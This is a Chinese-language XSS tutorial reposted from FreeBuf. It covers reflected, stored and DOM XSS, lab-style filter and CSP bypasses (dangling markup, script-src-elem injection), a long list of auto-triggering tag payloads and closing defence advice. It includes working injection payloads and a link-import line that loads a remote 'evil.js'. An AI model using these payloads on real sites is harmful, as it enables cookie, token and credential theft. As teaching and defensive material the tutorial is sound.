從0到1完全掌握 XSS0x01 前言本人二刷 XSS,在一刷的時候是以漏洞挖掘與漏洞利用為主,實際上完全對於實戰根本沒有概念,出去工作一段時間之後才算是拿出來應用。寫這篇文章是打算再好好地梳理一遍 XSS。0x02 什麼是 XSSXSS (Cross Site Scripting) 攻擊全稱跨站腳本攻擊,是為不和層疊樣式表 (Cascading Style Sheets, CSS) 的縮寫混淆,故將跨站腳本攻擊縮寫為 XSS。XSS 是一種經常出現在 Web 應用中的計算機安全漏洞,它允許惡意 Web 用戶將代碼植入到提供給其它用戶使用的頁面中。XSS 的運行原理是將惡意的 script 腳本插入進 html/css/js 文件當中。代碼長這樣。

0x03 XSS 的危害前文我們說 XSS 本質上來說是一種釣魚攻擊,所以 XSS 的危害角度上也是以釣魚能夠造成的危害為主。0x04 XSS 簡單應用場景舉例這裡我想先介紹 XSS 的應用方法,如此一來講起來不會太空洞,也能與下面的攻擊手段有所呼應。以反射型 XSS 為例,原理圖如下。


這是一個惡意的 QQ 空間釣魚網站,我們在輸入框內輸入username%20<script>alert(document.cookie)</script>,再對登陸的按鈕設置一個 href 到真正的 QQ 空間官網。然而當時用戶輸入的用戶名密碼已經被攻擊者竊取了。0x05 XSS 基本攻擊手段反射型 XSS,存儲型 XSS,DOM 型 XSS危害性來說,存儲型 XSS >> 反射型 XSS ~= DOM 型 XSS我們接下來細講一下這三種 XSS 的攻擊手段。1. 反射型 XSS 及繞過手段(1) 什麼是反射型 XSS利用比較簡單,比如在搜索框中,我記得當時 2020 年,b 站的搜索框還是存在 XSS 的,現在沒有了。


XSS 的攻擊構造與理解異常簡單與輕鬆,難點在於各種繞過手段。一、當大多數標籤被禁止時的繞過Lab: Reflected XSS into HTML context with most tags and attributes blocked還是常規的 Fuzz 測試,在嘗試 XSS 攻擊之後,若失敗了就進行 Fuzz 測試,因為無法排除是不是 WAF 過濾了部分關鍵字。探測出來 onresize 標籤還是有效的,我們可以通過這一串 Payload 喚起打印服務<body onresize=print()>" onload=this.style.width='100px'>

二、當事件處理器與 href 被禁用時的繞過老樣子還是需要 Fuzz 的。如果滲透測試真正遇到這種情況的話,svg標籤的繞過方式還是主流。Lab: Reflected XSS with event handlers and href attributes blocked<svg> <a> <animate attributeName=href values=javascript:alert(1) /> <text x=20 y=20>Click me</text> </a><svg><animatetransform onbegin=alert(1)>三、對 script 進行閉合後構造 Payload對某些語句中的符號進行閉合。有些 Web 後端代碼會通過反斜槓轉義,對很多單引號字符進行過濾,那麼轉義之後的代碼就不能進行原 Payload 的作用。XSS Insert Into-> JavaScript這種 Payload 可以是通過修改 Web 網站內部 JavaScript 來實現的,因為 JavaScript 本身就可以直接執行 alert 方法,無需使用<script>標籤。'-alert(document.domain)-' ';alert(document.domain)//四、繞過 CSP 攻擊CSP:content security policy,比較嚴格的防禦 XSS 手段。

CSP通過這樣的指令限制只能加載與頁面本身相同來源的資源script-src https://scripts.normal-website.com但是這種允許外部域的做法還是有風險的,如果攻擊者可以向其傳遞惡意腳本也會遭到攻擊的。而且應該也同時不信任來自 CDN 的資源,因為也有被投放的風險。CSP 還通過隨機數和哈希值來指定可信資源。CSP 的指令指定一個隨機數,加載腳本的標籤也必須有相同的隨機數。否則就不執行該腳本。並秉持一次性的原則,避免被猜解。CSP 指令可以指定腳本內容的哈希值。不匹配也是不會執行的。繞過方式一 懸空標記攻擊雖然 CSP 通常可以阻止腳本,但是經常不會禁止加載圖片資源,這就導致可以利用img標籤竊取 CSRF 令牌。有些瀏覽器比如 chrome,就有內置的懸空標記緩解功能,這個功能可以阻止包含某些字符的請求,比如換行符、未編碼的新一行符或者尖括號。還有一些策略更為嚴格,可以防止所有形式的外部請求。但是還是可以通過注入一個 HTML 元素,點擊該元素就會將該元素包含的所有內容發送到外部服務器的方式繞過這種策略,這裡感覺有點像點擊劫持攻擊。Lab: Reflected XSS protected by very strict CSP, with dangling markup attack

接着利用懸掛標記攻擊將 CSRF Token 竊取出來,所以我們這樣構造 Payload
再然後用 CSRF 盜用 token,再發包即可。繞過方式二 對 CSP 限制不嚴格的情況下攻擊CSP 是有設置的,若base-url為空的話,可以通過 token 值來添加新的 CSP 指令。<script>alert(1)</script>&token=;script-src-elem 'unsafe-inline'我們使用script-src-elem對 CSP 進行覆蓋,從而進行 XSS 攻擊。2. 存儲型 XSS存儲型 XSS 是危害性最大的 XSS 了,它一般出現於評論留言功能處,大致的利用方法與繞過手段與反射型 XSS 很像,原理圖如下。

如果執行起來也是插入進上下文標籤當中,和之前反射型 XSS 的代碼圖類似,都是沒有加任何的過濾手段,如圖。
我們在新增的評論中將 username 構造成 Payloadusername=<script>alert(1)</script>而這一條評論,又會被保存到數組或者是數據庫當中(這個看 Web 程序的設計),就造成了存儲型 XSS。3. DOM 型 XSS(重點!)DOM 型的 XSS 是基於文檔對象模型 Document Objeet Model,DOM)的一種漏洞。說白了就是那些標籤,比如img,input等這種類型的 DOM 節點標籤而已,而 DOM 型 XSS 打的就是這些。我個人覺得 DOM 型 XSS 與反射型,存儲型 XSS 的區別可謂不是一點半點,雖然有人把 DOM 型 XSS 歸結到反射型 XSS 當中,但是我們看下去,會感受到些許不同。DOM 型 XSS 全部都是由前端進行觸發的。所以我們平常如果挖洞,還是很考驗代碼審計的耐心的。我們下面講幾種常見的攻擊方式,在這之前,我們先把可以利用的 DOM 節點,以及其 Payload 拉出來。Payload 摘自HACK 師傅的文章一些常用的標籤與屬性下面我列舉的標籤大部分是可以自動觸發 js 代碼的,無需用戶去交互,大部分情況下我們也是希望是自動觸發而不是等用戶去觸發。scirpt 標籤<script>標籤用於定義客戶端腳本,比如 JavaScript。<script>alert(1);</script><script>alert("xss");</script>img 標籤<img src=1 onerror=alert(1);><img src=1 onerror=alert("xss");>input 標籤<input>標籤規定了用戶可以在其中輸入數據的輸入字段。onfocus 事件在對象獲得焦點時發生:<input onfocus=alert(1);><input onblur=alert(1) autofocus><input autofocus>input 標籤的 autofocus 屬性規定當頁面加載時<input>元素應該自動獲得焦點。可以通過 autofocus 屬性自動執行本身的 focus 事件,這個向量是使焦點自動跳到輸入元素上,觸發焦點事件,無需用戶去觸發:<input onfocus="alert(1);" autofocus>details 標籤<details>標籤通過提供用戶開啟關閉的交互式控件,規定了用戶可見的或者隱藏的需求的補充細節。ontoggle 事件規定了在用戶打開或關閉<details>元素時觸發:<details ontoggle=alert(1);>使用details 標籤的 open 屬性觸發ontoggle事件,無需用戶去點擊即可觸發:<details open ontoggle=alert(1);>svg 標籤<svg>標籤用來在HTML頁面中直接嵌入SVG 文件的代碼。select 標籤<select onfocus=alert(1)></select>通過autofocus屬性規定當頁面加載時元素應該自動獲得焦點,這個向量是使焦點自動跳到輸入元素上,觸發焦點事件,無需用戶去觸發:<select onfocus=alert(1) autofocus>iframe 標籤<iframe>標籤會創建包含另外一個文檔的內聯框架。<iframe onload=alert(1);></iframe>video 標籤<video>標籤定義視頻,比如電影片段或其他視頻流。<video><source onerror=alert(1)>audio 標籤<audio>標籤定義聲音,比如音樂或其他音頻流。<audio src=x onerror=alert(1);>body 標籤onscroll 事件在元素滾動條在滾動時觸發。我們可以利用換行符以及 autofocus,當用戶滑動滾動條的時候自動觸發,無需用戶去點擊觸發:<bodyonscroll=alert(1);><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>textarea 標籤<textarea>標籤定義一個多行的文本輸入控件。<textarea onfocus=alert(1); autofocus>keygen 標籤<keygen autofocus onfocus=alert(1)> //僅限火狐marquee 標籤<marquee onstart=alert(1)></marquee> //Chrome不行,火狐和IE都可以isindex 標籤<link>標籤定義文檔與外部資源的關係。在無 CSP 的情況下才可以使用:<link rel=import href="http://47.xxx.xxx.72/evil.js">4. DOM 型 XSS 的利用(1) jQuery 中的 DOM 型 XSS

<img src=1 onerror=alert(1)>(2) 利用遺留下的測試代碼不多扯了,詳見WebGoat代碼審計-07-XSS 利用測試代碼觸發 DOM 型 XSS)0x06 XSS 的實戰應用幾種釣魚,和 getshellXSS 實戰攻擊思路總結從xss到getshell--xss的深層次利用與探討0x07 CSRF 和 XSS 的區別1、CSRF是跨站請求偽造; XSS是跨域腳本攻擊。2、CSRF需要用戶先登錄網站A,獲取cookie; XSS不需要登錄。3、CSRF是利用網站A本身的漏洞,去請求網站A的api; XSS是向網站A注入JS代碼,然後執行JS里的代碼,篡改網站A的內容。(XSS利用的是站點內的信任用戶,而CSRF則是通過偽裝來自受信任用戶的請求來利用受信任的網站。你可以這麼理解CSRF攻擊:攻擊者盜用了你的身份,以你的名義向第三方網站發送惡意請求。)0x08 XSS 的防禦主要是兩層:一:對輸出端的數據進行編碼二: 驗證輸入目前時間 2022 年 5 月,感覺 XSS 不像之前那麼泛濫了。1. 對輸出端的數據進行編碼1)將一些字符進行轉義,例如<,>進行轉義2)白名單,通過一些標籤限制3)不要把後端傳進來的數據直接作為 HTML 渲染,進行處理2. CSP 的應用嚴格的 CSP 在 XSS 的防範中可以起到以下的作用:禁止外域提交,網站被攻擊後,用戶的數據不會泄露到外域。合理使用上報可以及時發現 XSS,利於儘快修復問題。3. 其他安全措施HTTP-only Cookie: 禁止 JavaScript 讀取某些敏感 Cookie,攻擊者完成 XSS 注入後也無法竊取此 Cookie。原文地址:https://www.freebuf.com/articles/web/334662.html
侵權請私聊公眾號刪文
免殺技術有一套(免殺方法大集結)(Anti-AntiVirus)